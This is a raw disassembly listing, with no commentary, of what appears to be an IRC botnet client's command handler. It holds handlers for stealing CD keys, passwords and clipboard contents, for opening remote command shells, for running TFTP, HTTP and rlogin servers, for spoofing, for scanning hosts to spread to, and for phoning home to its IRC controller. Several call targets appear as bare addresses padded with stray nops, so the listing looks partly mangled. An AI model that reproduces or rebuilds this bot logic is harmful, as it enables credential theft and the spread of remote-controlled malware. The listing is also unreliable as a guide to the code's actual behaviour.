		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1C4
		push	offset dword_42C1B8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1B4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1A0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------


loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]


loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------


loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C16C
		call	sub_4151AC
		pop	ecx


loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C138
		push	eax
		mov	dword_4CE728, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C090
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5


loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C020
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4037D5


loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------


loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42BFE4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_4315EA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4315EA
		jz	loc_401E94
		mov	ecx, edx


loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------


loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431408


loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------


loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F


loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D


loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------


loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl


loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"


loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403A83


loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_403A71
; ---------------------------------------------------------------------------


loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		nop
		call	near ptr 2680000h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BEE8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEB0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BE90
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------


loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h


loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108


loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403C13


loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------


loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		call	near ptr 2680000h
		nop
		push	eax
		push	offset unk_42BE20
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------


loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C


loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------


loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403D85


loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------


loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42BDA8


loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------


loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------


loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080


loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]


loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D128


loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403EDA


loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 26705B3h
		nop
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------


loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42BD30
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------


loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D


loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------


loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAE90
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD0C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BCE0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCB4


loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------


loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BC90
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC64
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC4C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC30
		jmp	loc_404285
; ---------------------------------------------------------------------------


loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403FCB
		push	offset unk_42BC04
